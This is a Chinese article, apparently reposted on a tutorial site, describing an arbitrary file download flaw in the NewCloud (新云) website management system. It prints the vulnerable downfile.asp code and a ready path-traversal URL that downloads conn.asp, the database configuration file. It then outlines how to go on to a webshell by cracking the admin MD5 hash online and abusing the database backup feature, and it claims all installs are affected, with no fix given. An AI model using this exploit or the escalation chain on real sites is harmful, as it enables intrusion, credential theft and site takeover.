新云网站管理系统任意文件可下载漏洞
新云网站管理系统任意文件可下载漏洞
发布时间:2016-12-26 来源:查字典编辑
摘要:问题出现在flash/downfile.asp上,大家先看看代码

问题出现在flash/downfile.asp上,大家先看看代码

<%

Dimurl,strUrl,strPath

url=Replace(Replace(Replace(Request("url"),"'",""),"%",""),"","/")

//首先先进行一些字符的替换,'换成空,%也换成空,换成/

IfLen(url)>3Then

IfLeft(url,1)="/"Then

Response.Redirecturl//如果用户提交的url第一个字符是/,那直接转向url

EndIf

IfLeft(url,3)="../"Then

Response.Redirecturl//同上,意思就是不给你用../跳转目录

EndIf

strUrl=Left(url,10)

IfInStr(strUrl,"://")>0Then//这个,汗·~~://不懂干什么用的

Response.Redirecturl

EndIf

IfInStr(url,"/")>0Then

strPath=Server.MapPath(".")&""&url//补充物理地址了

strPath=Replace(strPath,"/","")//替换/为呢

CalldownThisFile(strPath)//HOHO~~开始下载了

Else

Response.Redirecturl

EndIf

EndIf

SubdownThisFile(thePath)

Response.Clear

OnErrorResumeNext

Dimstream,fileName,fileContentType

fileName=split(thePath,"")(UBound(split(thePath,"")))

Setstream=Server.CreateObject("adodb.stream")

stream.Open

stream.Type=1

stream.LoadFromFile(thePath)

Response.AddHeader"Content-Disposition","attachment;filename="&fileName

Response.AddHeader"Content-Length",stream.Size

Response.Charset="UTF-8"

Response.ContentType="application/octet-stream"

Response.BinaryWritestream.Read

Response.Flush

stream.Close

Setstream=Nothing

EndSub

%>

似乎是url都处理掉了,是不可能用../跳转目录的。但是,他判断../很奇怪,就判断url的前三个字符而已。所以,嘿嘿!前三个字符不能是../,难道我后面不能是吗?于是构造一下url参数为"uploadfile/../../conn.asp",于是总体的地址就是http://127.0.0.1/flash/downfile.asp?url=uploadfile/../../conn.asp。嘿嘿~~conn.asp文件下载下来了吧。

这套整站程序用的人还是挺多的,我甚至看到有两个黑客类的网站使用它。但是不约而同的是这个漏洞都存在。可以说,这个漏洞是通杀现在网上所有使用新云的系统的,连10.18出来的sp1都没补上。但是,很多大站都是使用sql版本的,而且主机又屏蔽了1433端口,于是,利用就成了问题。对于access的系统,只要后台没改名,而且md5密码可以通过www.cmd5.com来查询,后台又有着数据库备份的功能,获得webshell是不成问题的。

推荐文章
猜你喜欢
附近的人在看
推荐阅读
拓展阅读
相关阅读
网友关注
最新安全教程学习
热门安全教程学习
实用技巧子分类